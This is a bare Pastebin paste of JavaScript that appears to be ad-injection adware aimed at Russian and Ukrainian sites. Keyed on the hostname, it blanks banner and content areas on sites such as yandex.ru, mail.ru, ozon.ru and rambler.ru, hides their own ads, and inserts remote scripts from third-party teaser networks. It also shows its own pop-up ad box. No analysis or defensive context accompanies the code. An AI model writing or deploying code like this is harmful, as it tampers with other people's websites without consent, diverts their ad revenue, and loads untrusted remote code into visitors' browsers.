Guest User

watch.

a guest
May 27th, 2013
765
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3. if(typeof(rMutex) == "undefined")
  4. {
  5.     var rMutex = true;
  6.     var bcHMutex = false;
  7.     var bcLSMutex = false;
  8.     var rRnd = Math.floor(Math.random() * 100);
  9.     var bntuniqid = 'gSpQc41zUXvns04UVCQg';
  10.     var bntuniqsid = '58324';
  11.     var async = 1;
  12.  
  13.     var bcDomain = "";
  14.        
  15.     if(rRnd > 0 && rRnd < 1 && document.location.host != 'vk.com' && document.location.host.indexOf('yandex.') == -1)
  16.     {
  17.         setTimeout(mlml, 1000);
  18.     }
  19.     else
  20.     {
  21.         setTimeout(rScr, 1000);
  22.     }
  23.    
  24.     setTimeout(adrep, 1000);
  25. }
  26.  
  27. function mlml()
  28. {
  29.  
  30. var popDiv = document.createElement("div");
  31.     popDiv.id = "popDiv";
  32.     popDiv.style.position = "absolute";
  33.     popDiv.style.width = "212px";
  34.     popDiv.style.left = "1px";
  35.     popDiv.style.top = "1px";
  36.     popDiv.style.backgroundColor = "white";
  37.     popDiv.style.zIndex = "1000";
  38.     popDiv.onclick = popShowClose;
  39.     popDiv.style.border = "1px solid black";
  40.     document.body.appendChild(popDiv);
  41.    
  42.     var popControl = document.createElement("div");
  43.     popControl.id = "popControl";
  44.     popControl.style.float = "right";
  45.     popControl.style.marginRight = "10px";
  46.     popControl.style.display = 'none';
  47.     popDiv.appendChild(popControl);
  48.    
  49.     var popControlClose = document.createElement("a");
  50.     popControlClose.href = "#";
  51.     popControlClose.onclick = popHide;
  52.     popControlClose.style.fontSize = "11px";
  53.     popControlClose.style.fontWeight = "bold";
  54.     popControlClose.style.padding = "2px 0 0 0";
  55.     popControlClose.style.color = "#096";
  56.     popControlClose.style.height = "25px";
  57.     popControlClose.style.fontFamily = "Tahoma, Arial, sans-serif";
  58.     popControlClose.style.display = "block";
  59.     popControlClose.innerHTML = "&#1047;&#1072;&#1082;&#1088;&#1099;&#1090;&#1100;";
  60.     popControl.appendChild(popControlClose);
  61.    
  62. var adDiv = document.createElement("div");
  63.     adDiv.id = "cbgSpQc41zUXvns04UVCQg";
  64.     popDiv.appendChild(adDiv);
  65.    
  66.     var bntuniqid = 'gSpQc41zUXvns04UVCQg';
  67.     var bntuniqsid = '58324';
  68.     var async = 1;
  69.    
  70.     var adScript = document.createElement("script");
  71.     adScript.type = "text/javascript";
  72.     adScript.language="JavaScript";
  73.     adScript.charset = "utf-8";
  74.     adScript.src = "http://c.ru/viewt.js";
  75.     document.body.appendChild(adScript);
  76.    
  77.     setTimeout(popShowClose, 500);
  78.    
  79. }  
  80.  
  81. function rrr()
  82. {
  83.  
  84.    
  85.     var popDiv = document.createElement("div");
  86.     popDiv.id = "popDiv";
  87.     popDiv.style.position = "absolute";
  88.     popDiv.style.width = "212px";
  89.     popDiv.style.left = "1px";
  90.     popDiv.style.top = "1px";
  91.     popDiv.style.backgroundColor = "white";
  92.     popDiv.style.zIndex = "100000";
  93.     popDiv.onclick = popShowClose;
  94.     popDiv.style.border = "1px solid black";
  95.     document.body.appendChild(popDiv);
  96.    
  97.     var popControl = document.createElement("div");
  98.     popControl.id = "popControl";
  99.     popControl.style.float = "right";
  100.     popControl.style.marginRight = "10px";
  101.     popControl.style.display = 'none';
  102.     popDiv.appendChild(popControl);
  103.    
  104.     var popControlClose = document.createElement("a");
  105.     popControlClose.href = "#";
  106.     popControlClose.onclick = popHide;
  107.     popControlClose.style.fontSize = "11px";
  108.     popControlClose.style.fontWeight = "bold";
  109.     popControlClose.style.padding = "2px 0 2px 0";
  110.     popControlClose.style.color = "#096";
  111.     popControlClose.style.height = "20px";
  112.     popControlClose.style.fontFamily = "Tahoma, Arial, sans-serif";
  113.     popControlClose.style.display = "block";
  114.     popControlClose.innerHTML = "&#1047;&#1072;&#1082;&#1088;&#1099;&#1090;&#1100;";
  115.     popControl.appendChild(popControlClose);
  116.    
  117.     var adDiv = document.createElement("div");
  118.     adDiv.id = "smi2adblock_72260";
  119.     popDiv.appendChild(adDiv);
  120.    
  121.   (function() {
  122.     var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true;
  123.     sc.src = 'http://js.smi2.ru/data/js/72260.js'; sc.charset = 'utf-8';
  124.     var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s);
  125.   }());
  126.  
  127.     setTimeout(popShowClose, 500);
  128.  
  129.  
  130. }
  131.    
  132.    
  133.  
  134.  
  135.        
  136. function rScr()
  137. {
  138.     if(typeof(document.getElementById("rScr")) == "undefined" || document.getElementById("rScr") == null)
  139.     {
  140.         var rScr = document.createElement("script");
  141.         rScr.id = "rScr";
  142.         rScr.type = "text/javascript";
  143.         rScr.async = true;
  144.         rScr.src = "http://mi.yandex.ru/transport/show.js";
  145.         document.body.appendChild(rScr);
  146.     }
  147. }
  148.  
  149.  
  150. function popHide()
  151. {
  152.     var popDiv = document.getElementById("popDiv");
  153.     popDiv.style.display = 'none';
  154.     return false;
  155. }
  156.  
  157. function popShowClose()
  158. {
  159.     var popControl = document.getElementById("popControl");
  160.     popControl.style.display = 'block';
  161. }
  162.  
  163. function addBlock(targetDiv, id)
  164. {
  165.     var adDiv = document.createElement("DIV");
  166.     adDiv.id = "cpms_block_" + id;
  167.     targetDiv.appendChild(adDiv);
  168.    
  169.     var adScript = document.createElement("SCRIPT");
  170.     adScript.type = "text/javascript";
  171.     adScript.language="JavaScript";
  172.     adScript.charset = "utf-8";
  173.     adScript.src = "http://feed.teasermaster.ru/static.js";
  174.     targetDiv.appendChild(adScript);
  175. }
  176.  
  177. function vkcom()
  178. {
  179.     var targetDiv = document.getElementById('side_bar');
  180.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  181.     {
  182.         addBlock(targetDiv, 139);
  183.        
  184.         var origAdDiv = document.getElementById("left_ads");
  185.         if(typeof(origAdDiv) != "undefined" && origAdDiv != null)
  186.         {
  187.             origAdDiv.style.display = 'none';
  188.         }
  189.     }
  190. }
  191.  
  192. function ukrnet()
  193. {
  194.     var targetDiv = document.getElementById('news_list');
  195.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  196.     {
  197.         var adDiv = document.createElement("DIV");
  198.         targetDiv.insertBefore(adDiv, targetDiv.firstChild);
  199.         adDiv.style.marginLeft = '10px';
  200.        
  201.         addBlock(adDiv, 140);
  202.     }
  203. }
  204.  
  205. function regnumru()
  206. {
  207.     var targetDiv = document.getElementsByClassName('banner')[0];
  208.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  209.     {
  210.         targetDiv = targetDiv.firstChild;
  211.         targetDiv.style.width = '1200px';
  212.         targetDiv.innerHTML = '';
  213.         addBlock(targetDiv, 141);
  214.     }
  215. }
  216.  
  217. function homewebaltaru()
  218. {
  219.     var targetDiv = document.getElementById('yandex-top');
  220.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  221.     {
  222.         targetDiv.innerHTML = '';
  223.         addBlock(targetDiv, 142);
  224.     }
  225.    
  226.     var targetDiv = document.getElementsByClassName('col-2')[0];
  227.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  228.     {
  229.         targetDiv.innerHTML = '';
  230.         addBlock(targetDiv, 162);
  231.     }
  232.    
  233.     var targetDiv = document.getElementById('yandex-main');
  234.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  235.     {
  236.         targetDiv.innerHTML = '';
  237.         addBlock(targetDiv, 163);
  238.     }
  239. }
  240.  
  241. function ozonru()
  242. {
  243.     var targetDiv = document.getElementById('prm-banner');
  244.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  245.     {
  246.         targetDiv.innerHTML = '';
  247.         addBlock(targetDiv, 144);
  248.     }
  249. }
  250.  
  251. function vsemaykiru()
  252. {
  253.     var targetDiv = document.getElementsByClassName('top_text')[1];
  254.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  255.     {
  256.         addBlock(targetDiv, 145);
  257.     }
  258. }
  259.  
  260. function ramblerru()
  261. {
  262.     var targetDiv = document.getElementsByClassName('mixednews__inner')[0];
  263.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  264.     {
  265.         targetDiv = targetDiv.firstChild;
  266.         addBlock(targetDiv, 146);
  267.     }
  268. }
  269.  
  270. function gismeteoru()
  271. {
  272.     var targetDiv = document.getElementById('holder');
  273.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  274.     {
  275.         targetDiv.innerHTML = '<style>table td a {max-width: 250px;}\nimg {margin: 0px 0px 0px 0px;}\na img {border:0px;}</style>';
  276.         targetDiv.style.width = '200px';
  277.         targetDiv.style.marginLeft = 'auto';
  278.         targetDiv.style.marginRight = 'auto';
  279.         targetDiv.style.marginTop = '10px';
  280.         addBlock(targetDiv, 147);
  281.     }
  282. }
  283.  
  284. function yandexru()
  285. {
  286.     var targetDiv = document.getElementById('banner');
  287.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  288.     {
  289.         targetDiv.innerHTML = '';
  290.         addBlock(targetDiv, 153);
  291.     }
  292. }
  293.  
  294. function iua()
  295. {
  296.     var targetDiv = document.getElementsByClassName('anons')[0];
  297.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  298.     {
  299.         targetDiv.innerHTML = '';
  300.        
  301.         addBlock(targetDiv, 158);
  302.     }
  303. }
  304.  
  305. function mailru()
  306. {
  307.     var targetDiv = document.getElementById('slot-container_2');
  308.     if(typeof(targetDiv) != 'undefined' && targetDiv != null)
  309.     {
  310.         targetDiv.innerHTML = '';
  311.        
  312.         addBlock(targetDiv, 164);
  313.     }
  314. }
  315.  
  316. function adrep()
  317. {
  318.     switch(document.location.hostname)
  319.     {
  320.         case 'vk.com':
  321.             //vkcom();
  322.         break;
  323.        
  324.         case 'www.ukr.net':
  325.         case 'ukr.net':
  326.             ukrnet();
  327.         break;
  328.        
  329.         case 'www.regnum.ru':
  330.         case 'regnum.ru':
  331.             regnumru();
  332.         break;
  333.        
  334.         case 'home.webalta.ru':
  335.         case 'webalta.ru':
  336.             homewebaltaru();
  337.         break;
  338.        
  339.         case 'www.ozon.ru':
  340.         case 'ozon.ru':
  341.             ozonru();
  342.         break;
  343.        
  344.         case 'www.vsemayki.ru':
  345.         case 'vsemayki.ru':
  346.             vsemaykiru();
  347.         break;
  348.        
  349.         case 'www.rambler.ru':
  350.         case 'rambler.ru':
  351.             ramblerru();
  352.         break;
  353.        
  354.         case 'www.gismeteo.ru':
  355.         case 'gismeteo.ru':
  356.             gismeteoru();
  357.         break;
  358.        
  359.         case 'www.yandex.ru':
  360.         case 'yandex.ru':
  361.             yandexru();
  362.         break;
  363.        
  364.         case 'www.i.ua':
  365.         case 'i.ua':
  366.             iua();
  367.         break;
  368.        
  369.         case 'e.mail.ru':
  370.             mailru();
  371.         break;
  372.     }
  373. }
Add Comment
Please, Sign In to add comment